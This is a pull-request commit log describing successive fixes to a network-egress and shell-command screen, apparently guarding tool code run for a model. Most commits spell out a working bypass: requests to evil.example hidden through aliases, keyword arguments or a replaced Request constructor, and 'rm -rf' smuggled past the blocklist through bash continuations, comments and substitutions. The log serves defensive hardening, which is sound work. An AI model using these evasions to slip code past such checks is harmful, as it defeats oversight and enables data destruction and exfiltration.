of AST nesting: a 494 term concatenation was analysed and a 329 term one raised
RecursionError out of _check_code_safety, so the screen crashed the turn on input the
same screen handled before. The hook moves into an inlined generic_visit, and the three
handlers that record an alias rebind first and are skipped there, since they call
generic_visit after registering and a second sweep would pop what they just set.

Depth is back to base parity, measured by bisection on four nesting shapes: 495/494/494/494
against 496/494/494/495 on main, from 330/329/328/328. No verdict changes across the
98 case corpus, and none across five PYTHONHASHSEED values.

* Studio: read the destination from wherever the call carries it

The fail-closed rule read only the first positional argument, so it refused a caller who
wrote the URL in a variable while permitting one who wrote requests.get(url = "http://
evil.example/"). That is the wrong way round: the cost landed on legitimate callers and
the check was sidesteppable by one word, which is the spelling anyone reaches for the
moment there is a timeout = next to it.

_NETWORK_DESTINATION_ARG records where each recognised call carries its destination, the
positional index and the keyword spellings, so requests.request("GET", url) is read at its
second positional too, and a * or ** splat fails closed since the destination could be
inside it and is not here to read. Measured: four spellings move from permitted to refused
(get(url =), urlopen(url =), request("GET", evil), get(url = target)), the 98 case corpus
is unchanged, and keyword callers to an allowlisted host stay permitted.

* Studio: let an alias only add recognition, and join escaped newlines as the shell does

Two holes the second review round found, both regressions against main.

The alias map is not scope aware, which is fine for finding a call and wrong for losing
one: an `import socket as requests` inside a function body, a class body or an untaken
`if False` rewrote a module-level `requests.get("https://evil.example/x")` to
`socket.get`, which matches no network prefix, so a hardcoded host that main refuses
passed. Resolving an alias now only ADDS a candidate name and the recognised one decides,
so no binding anywhere can take a call out of view. Scoping the map per execution context
would work too; this is the smaller change and it fails closed by construction.

The shell removes a backslash-newline before it reads a command, so that line break is not
a command position: `echo hi \<newline>A=1 rm -rf x` is one `echo` and was refused.
The pair is joined first, but never inside single quotes, where the shell keeps both and
`sed -n '1e touch a\<newline>rm -f victim' f` really continues the executed payload onto
the next line. An existing test pinned that payload and failed against an unconditional
join, which is what turned a one-line regex change into a quote-aware walk.

Measured: `env \<newline>FOO=bar rm -rf x` still blocks, an unescaped newline is still a
boundary, an escaped backslash still leaves the newline standing, and the 98 case corpus is
unchanged. 13 cases added; 7 of 13 fail against 83d3b4a.

* Studio: join only a backslash-LF, and let a star import overwrite an earlier binding

Two bypasses in my previous commit, both found by review.

Only a backslash-LF continues a line. Checked against the bash on this host, 5.2.21: a
backslash before CRLF escapes the CARRIAGE RETURN, so the newline still starts a command
and `echo hi \<CRLF>rm -rf ./build` really runs `rm`. Joining all three characters read
that as one `echo`. A probe script confirmed it both ways, LF continued and CRLF did not,
and the test that asserted the wrong behaviour is replaced by two that pin the boundary.

A star import rebinds every name the module exports, so a binding BEFORE it no longer
shadows: `def get(url): ...` then `from requests import *` then `get(...)` really calls
`requests.get`, and the shadow entry left the destination unscreened. A network star
import now drops the shadows recorded before it. Which names it exports is not knowable
here and the ones that matter are the module's own functions, so all prior entries go. A
binding after the import still shadows, since those are recorded as they are reached.

98 case corpus and the false-refusal attribution set are both unchanged. 4 cases added;
3 of 4 fail against 50dd5b6.

* Studio: keep a newline after a backslash inside a shell comment

Third case in the same helper, and the same mistake each time: assuming the shell strips
a backslash-newline everywhere. Inside an unquoted comment the backslash is comment TEXT,
so the newline still ends the comment and starts a command. Checked against the bash on
this host, 5.2.21: a script of `echo ok # comment \<newline>touch /tmp/marker` creates the
marker. Joining made it one comment, and the later lex discards a comment whole, so the
command on the second line was reported as nothing blocked at all.

The walk now tracks comment state alongside quote state. A `#` opens a comment only at the
start of a word, which the same bash confirmed both ways: `echo "ok # x"` is quoted text
and `echo ab#cd` is an ordinary word, so both of those really do continue.

Now matching bash on all five shapes: comment plus continuation blocks, quoted-hash and
mid-word-hash continuations join, a plain continuation joins, and a comment without a
continuation still blocks the next line. 98 case corpus unchanged. 3 cases added.

* Studio: accumulate module aliases, and bind only what a target really stores

Two more ways an alias stopped naming what the runtime still has, both reachable past the
previous fix because that one only protected the CANONICAL spelling.

A module alias is now a set that accumulates. Checking the written name saved
`import socket as requests` but did nothing for a custom one: with
`import requests as r` then `def f(): import socket as r`, the nested import overwrote
the outer mapping although Python scopes its `r` to the function, and the module-level
`r.get("https://evil.example/x")` was left with only `r.get` and `socket.get`, neither
recognised. Every module ever bound to a name is kept and any of them naming a network
module answers, so resolution only ever gains a way to recognise a call. Scoping the map
per execution context is the other route; this one fails closed without having to model
scope. A bare function alias is still dropped on a rebinding, so a local `def get(...)`
goes on shadowing `from requests import get`.

_stored_names walked every Name under a target, which includes the BASE of an attribute or
subscript, and those are read rather than bound: `r.debug = True` made `r` look rebound
and dropped an alias the runtime still has. It now descends tuple, list and starred targets
and stops at attributes and subscripts.

98 case corpus and the false-refusal attribution set are both unchanged, and the earlier
shadowing and star-import cases still block. 4 cases added, all 4 fail against 651121e.

* Keep the shell continuation tight and outer aliases alive in nested scopes

Two defects in the egress screen, both found by review of the previous
round.

A backslash-newline pair was being replaced by a space. The shell removes
the pair outright, so `r\<newline>m -rf ./build` runs `rm`, while the
screen saw `r m -rf ./build` and read the command word as `r`. Checked
against bash 5.2.21: `to\<newline>uch f` runs `touch`. The pair is now
removed, so a continuation inside a word closes up the way the shell
closes it up.

Visiting a nested scope popped module-level aliases. In
`from requests import get` followed by a function whose parameter is also
named `get`, the later module-level `get(...)` really is `requests.get`,
but the alias had already been dropped by the parameter. Only
module-level bindings shadow now; a binding inside a function, a nested
def or a lambda leaves the outer alias in place.

* Never let an unexecuted binding take a candidate away

Three ways a name could be resolved to something the screen does not
recognise, each one silencing a call that really does reach the network.

An import inside a nested scope overwrote a function alias, so
`from requests import get as fetch` followed by an uncalled
`def unused(): from socket import inet_aton as fetch` resolved the
module-level `fetch(...)` to the unrecognised socket function. Function
aliases accumulate now, the same way module aliases already did.

An assignment collapsed an accumulated module alias to one candidate, so
`import requests as r`, an uncalled nested `import aiohttp as r`, then
`s = r` carried only aiohttp and `s.get(...)` went unscreened. Every
candidate is carried through the assignment.

`urlopen(Request(url))` is read one call further in, which is only sound
when the callee really is `urllib.request.Request`. A local
`def Request(_): return "https://evil.example/x"` had the screen read the
allowlisted argument while the call sent the request elsewhere. The
callee must now resolve to `urllib.request.Request`; anything else is
left wrapped and the fail-closed rule refuses it. Written in full,
imported by name and reached through a module alias all still read
through to the host.

* Give a command substitution its own quoting context

A `$(...)` is parsed in a fresh quoting context, even inside double
quotes. Carrying the outer state in meant a `#` in there did not open a
comment, so the backslash after it looked like a continuation and the
next line was joined into the comment and discarded. Checked against
bash 5.2.21:

  echo "$(echo hi # comment \
  rm -f victim
  )"

really deletes the file, and the blocklist saw no `rm` at all. The state
is pushed at `$(` and popped at the matching `)`, so the same probe's
other half holds too: single quotes work inside the substitution, a `)`
inside them does not end it, and nesting works. Backticks are left
alone, since the probe shows `#` does not open a comment inside
`"`...`"`.

One degenerate shape now over-blocks rather than under-blocks:
`echo "$(echo 'a \<newline>rm -f victim')"` echoes text and runs
nothing, and is refused because the newline survives inside a quoted
span the token walk reads as a separator.

* Close a substitution at its own paren, and read every signature

Two holes left by the previous two commits.

An inner subshell's `)` restored the outer quoting state early, so the
rest of the substitution went back into double quotes where `#` opens no
comment. Checked against bash 5.2.21, this really deletes the file and
the blocklist saw nothing:

  echo "$( (echo hi); echo ok # comment \
  rm -f victim
  )"

Ordinary `(` groupings are counted per substitution now, and the outer
state is restored only at the matching close.

Reading one candidate's destination signature was not enough once a bare
name can hold several. `requests.request` carries the URL in argument 1
and `requests.get` in argument 0, so
`from requests import request as fetch` with an uncalled
`from requests import get as fetch` and then
`fetch("GET", "http://evil.example/x")` had the screen inspect `"GET"`,
a complete non-URL, and never look at the hostile argument. Every
recognised candidate is read with its own signature, which keeps
resolution monotone here too: a candidate may add a host or a
fail-closed reason, never remove one. The same call to an allowlisted
host still runs.

* Check the upload shape against every resolved candidate

The upload check read one candidate where the destination signature now
reads all of them. `from requests import post as fetch` with an uncalled
`from requests import get as fetch` really calls `requests.post`, but
the sorted-first `requests.get` is not an upload shape, so
`fetch("https://huggingface.co/api/x", files = {"f": open("x")})` sent
the file to an allowlisted host unscreened. Every recognised candidate
is checked. A `post` without a file, and an alias whose only candidate
is a `get`, still run.

* Make the Request unwrap fail closed on a binding in any scope

Unwrapping `urlopen(Request(url))` reads PAST a call, which is the one
place where knowing an extra candidate makes the screen weaker instead of
stronger, so it must not use the accumulating alias maps. A nested
`def Request(_): return "https://evil.example/x"` really does decide what
the call inside that function reaches, and the depth guard that keeps
outer aliases alive left the unwrap trusting the outer import.

The unwrap now requires that the root name of the callee is never bound
anywhere in the tree, in any scope, to anything other than
`urllib.request.Request` or the module path to it, and refuses when a
star import could have supplied the name. Scope is ignored in the strict
direction here: a binding anywhere leaves the argument reading as a call,
which the fail-closed rule then refuses. Written in full, imported by
name, and reached through a module alias all still read through to the
host.

* Believe a shadow only when the binding cannot be skipped

Shadowing an imported name REMOVES a way to recognise a call, so it is
the one update here that has to be conservative in the other direction.
An unconditional pop believed a binding on a path that never runs:

  from requests import get as fetch
  if False:
      fetch = print
  fetch("https://evil.example/x")

still calls `requests.get`, and the screen returned nothing at all. The
same held for a `try` body, a loop with no iterations, and the `shadowed`
set that suppresses star-import resolution.

Only a module-level statement that really runs may shadow now: an
assignment, an import, a def or a class directly in the module body. That
also subsumes the depth check, since nothing inside a function, lambda or
class body is one of those. The ordinary shadows still work: a
module-level `def get` next to `from requests import get`, an
`import requests` after `import socket as requests`, and a `def get`
after `from requests import *`.

* Refuse the unwrap when the constructor itself is replaced

The proof behind unwrapping `urlopen(Request(url))` was name-level, and
replacing the constructor binds no name:

  import urllib.request
  urllib.request.Request = lambda _: "https://evil.example/x"
  urllib.request.urlopen(urllib.request.Request("https://huggingface.co/x"))

returned nothing while the call reached the attacker's host. A store or a
delete of an attribute called `Request` anywhere in the tree now refuses
every unwrap, as does `setattr(x, "Request", ...)` and a `setattr` whose
attribute name is computed. Unrelated attribute work and unrelated
`setattr` calls still read through to the host.

* Resolve aliases before checking calls, and keep the backstop off quotes

A function body runs after the module finishes reading, so an import
BELOW a def is in place by the time the call happens:

  def send():
      fetch("http://evil.example/x")
  from requests import get as fetch
  send()

Resolving as the walk went analysed `send` before the import existed and
recognised nothing at all. Aliases, star imports and shadows are now
gathered in a first pass over the whole tree and every call is checked
against that final state in a second, which also makes the result
independent of traversal order. Same fix covers a lambda, a method and a
module alias written above their import. The second pass costs about a
quarter more: 970 to 1215 us on a 62-line sample.

Separately, the command-position backstop has no quoting model, so
anything it steps over it steps over inside quotes too. Stepping over an
assignment prefix is only needed when the lex raised and the token walk
never ran, and doing it unconditionally refused `echo '; A=1 rm -rf x'`,
which bash runs as one `echo`; checked against bash 5.2.21, the file
survives. The step is now taken only on the lex-failure path, where an
unbalanced quote still reaches it.

* Stop a shadow reaching backwards, and keep a substitution word intact

Gathering aliases in one pass made shadowing global, which is wrong in
the other direction:

  from requests import get as fetch
  fetch("http://evil.example/x")
  fetch = print

really performs the request, and the final map had no entry for `fetch`,
so the call was not recognised at all. A shadow is now recorded with its
line and takes effect only for the calls that cannot run before it: a
module-level call earlier in the file is not shadowed, and a call inside a
function, lambda or class body is never shadowed, since the body can be
invoked at any point. For a star-imported name only a shadow later than
the import counts, which is what the old clearing did. Imports no longer
shadow at all: both maps accumulate, so an import never needs to take a
candidate away, and recording it as one made the import that registers an
alias shadow the name it had just bound.

Separately, a substitution's closing parenthesis stays INSIDE the
surrounding word, unlike a subshell's. Checked against bash 5.2.21:
`echo $(printf x)#note \<newline>rm -rf victim` prints
`x#note rm -rf victim` and the file survives, while a subshell's
`(echo hi)#c \<newline>rm -rf victim` really does delete it. Only the
subshell close opens a comment now; both cases are covered.

* Let a later alias binding supersede an earlier shadow

A shadow was permanent, so a binding that put the network module BACK did
not undo it:

  import requests
  r = object()
  r = requests
  r.get("https://evil.example/x")

calls `requests.get`, and the first assignment kept suppressing the
candidate the second had just registered. The same held for a local
`def fetch` followed by `from requests import get as fetch`, and for a
local def followed by a star import.

Every alias registration now records its position, and a shadow counts
only while no registration comes between it and the call: the last
import, from-import or module-carrying assignment before the call
supersedes every older shadow. For a star-imported name the star import
is that registration, which replaces the special-cased floor.

The shadows that should hold still hold, including a call earlier on the
same line than its rebinding, and the 98-cell corpus did not move.

* Keep a case pattern's paren, and let a body's own shadow count

A `case` pattern closes with an unbalanced `)`, so inside a `case` no `)`
may end a substitution. Checked against bash 5.2.21:

  echo "$(case x in x) echo hi;; esac; echo ok # comment \
  rm -f victim
  )"

really deletes the file, and reading the pattern's `)` as the
substitution's close put the rest back in double quotes, where the `#`
opened no comment and the continuation was joined away. `case ... esac`
is counted per substitution, and staying inside longer is the
conservative direction.

Separately, a shadow now belongs to the scope whose body it sits directly
in rather than being refused for every nested scope. A local `def fetch`,
a local assignment or a parameter really does decide what the calls after
it in that body reach, and refusing to believe any of them rejected
ordinary code that reuses a module-level name locally. A module-level
shadow still says nothing about a call inside a body, which can be
invoked before the rebinding, and a call BEFORE the local shadow in the
same body is still screened.

* Keep the screen off the slow path when no call can reach the network

Measured against main over a 19-sample corpus of the code this really
screens, the converged head cost 2.26x the whole corpus and up to 3.55x a
single sample. Ordinary tool code paid most of it: three whole-tree walks
to build the alias, literal and shadow maps, a second visitor pass, and a
twenty-five-prefix scan per call, all to answer questions about a
recognised egress call that a pandas script never makes.

The screen now decides first whether any call in the tree COULD resolve
to a network function. Every route to one names a network module, as an
import, an import from it, or the module written out at the call site, so
one pass over the node list the other classifiers already cache answers
it. When the answer is no, none of the three maps are built and the
gathering pass is skipped.

Four smaller ones alongside it:
  - the three pre-passes share that cached node list instead of walking
    the tree once each
  - a callee is tested against the network prefixes only if its first
    component is one of the seven roots; over a 300-call script that was
    22500 `startswith` per screening
  - the rebinding hook is not called per node when there is no shadow to
    record
  - `_join_escaped_newlines` returns the text unchanged when it holds no
    backslash-newline, instead of walking it character by character

Corpus total is now 1.17x main, worst sample 2.69x and that one is
genuinely network code in the 1 ms range. Ordinary python is 1.05x to
1.53x, shell is 0.90x to 1.23x.

Nothing moved: 509 tests pass, the 98-cell corpus and the attribution set
are unchanged, an 884-source differential against the previous head finds
no verdict difference, and the deepest surviving `+` chain is 494 terms
either side. Twenty cases pin the gate itself, including that forcing the
slow path reaches the same verdict.

* Close a case only on an esac that starts a command

`case esac in x) ...;; esac` matches on the word `esac`, and counting
that first one closed the case early, which let the pattern's `)` end the
substitution. Checked against bash 5.2.21:

  echo "$(case esac in x) echo hi;; esac; echo ok # comment \
  rm -f victim
  )"

deletes the file, and the blocklist came back empty. An `esac` is counted
only in command position now, while `case` is still counted wherever it
appears, so both halves lean towards staying INSIDE the substitution.
`echo esac` and a nested case are unaffected.

* Keep a parameter expansion's paren out of the substitution count

A `)` inside `${...}` belongs to the expansion, not to the substitution
around it. Checked against bash 5.2.21:

  v='abc)'; echo "$(x=${v%)}; echo ok # comment \
  rm -f victim
  )"

runs the `rm`, and reading that `)` as the substitution's close put the
rest back in double quotes, where the `#` opened no comment and the
continuation was joined away. Expansions are counted per substitution
now, the same way ordinary groupings and `case` already were, so a paren
inside one can neither open a group nor end the substitution. Nesting
works, and an ordinary `${HOME}`, a lone `}` and a substitution inside an
expansion are all unaffected.

Also merges current main, which the branch was behind: the frontend
contract tests it ships were failing on the merge for that reason alone
and pass either side of this branch now.

* Read the host the way the client reads it, and screen urllib3.request

Two ways a destination reached the network unscreened.

Leading whitespace hid the host. The client strips it before parsing, so
`requests.get(" https://evil.example/x")` really fetches
`https://evil.example/x`, while matching the raw literal found no host at
all and allowed the call. Checked against requests 2.34.2, which prepares
that URL with the space gone. The literal is stripped before matching
now. A value still unparsable after stripping is left as no host on
purpose: the client raises MissingSchema on it rather than reaching
anything, so failing closed there would refuse every
`request("GET", allowed)` whose alias makes the method look like a
destination.

`urllib3.request(method, url, ...)` matches the broad `urllib3.` prefix
but had no destination signature, so the fallback read argument 0, the
method, and never looked at the URL. Both a literal and a name went
through. It now carries the same second-positional signature
`requests.request` and `httpx.request` already had, checked against the
installed urllib3 2.8.0.

Fifteen cases added, nine of which fail on the previous head. An
allowlisted host with a leading or trailing space still runs, and so does
`urllib3.request` to one.

* Carry the network function through an assignment, not just the module

An assignment already carried the network MODULE it named, so `s = r`
after `import requests as r` kept `s.get(...)` screened. It carried no
FUNCTION, so the same line shed the alias and recorded the target as
shadowed instead:

  from requests import get as fetch
  fetch = fetch
  fetch("https://evil.example/x")

went through with no candidate at all, and so did `g = fetch`, a chain of
two assignments, and `g = requests.get`.

`_functions_named_by` is the counterpart of `_modules_named_by`: a bare
name resolves through the function aliases, a dotted one through the
usual candidates, and either registers on the target and exempts it from
shadowing. A real rebinding still shadows, so `fetch = print` is still
allowed, and a carried alias reaching an allowlisted host still runs.

Seven cases added, five failing on the previous head.

* Believe a rebinding by an import or by a walrus statement

Two shapes rebound a name without ever being recorded as a shadow, so a
stale network candidate outlived them and refused calls that reach
nothing of the sort.

Imports were excluded outright, to stop the import that registers an
alias shadowing the name it had just bound. The narrower rule does that
job without the side effect: both handlers register first and pass what
they bound as `exempt`, so `import requests as client` followed by
`import my_client as client` now shadows and `client.get(key)` is a local
call again, while the registering import still cannot shadow itself.

A walrus written as its own statement was never seen, because the
statement is an `Expr` and the binding is the `NamedExpr` inside it.
Only that shape is recorded: a walrus buried in a larger expression may
not be evaluated at all.

Neither loosens anything. A shadow still does not reach backwards, so a
call above the rebinding is still screened, and a network import after a
local one still registers. Seven cases added, three failing on the
previous head; the 98 cell corpus and the attribution set did not move.

* Evaluate a def's defaults where they really run

Decorators, defaults, annotations and class bases are evaluated in the enclosing
scope at the moment the def executes, before any parameter is bound. The visitor
entered the new scope first, so a parameter could shadow a call the parameter
cannot reach:

    from requests import get as fetch
    def f(fetch = print, x = fetch("http://evil.example/x")): pass

really calls the imported requests.get while defining f, and the fetch parameter
hid it. Only the body belongs to the new scope now.

Two more, found alongside it:

An assignment copies what the source names at that line, not what it once named.
`fetch = print` then `g = fetch` left g holding a stale requests.get, and the
unreadable-host rule then refused a cell that only calls print. Both the function
and the module copy paths now consult the shadow table first. A plain
`import requests` registers the binding it makes, so the import is no longer read
as a shadow of its own name.

A package that contains a network module counts as a way to reach it:
`import urllib.request` binds urllib, so `u = urllib` then `u.request.urlopen(x)`
is the same call written through the parent.

562 tests pass. Screen timings are unchanged, worst sample 1.03x with four faster.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant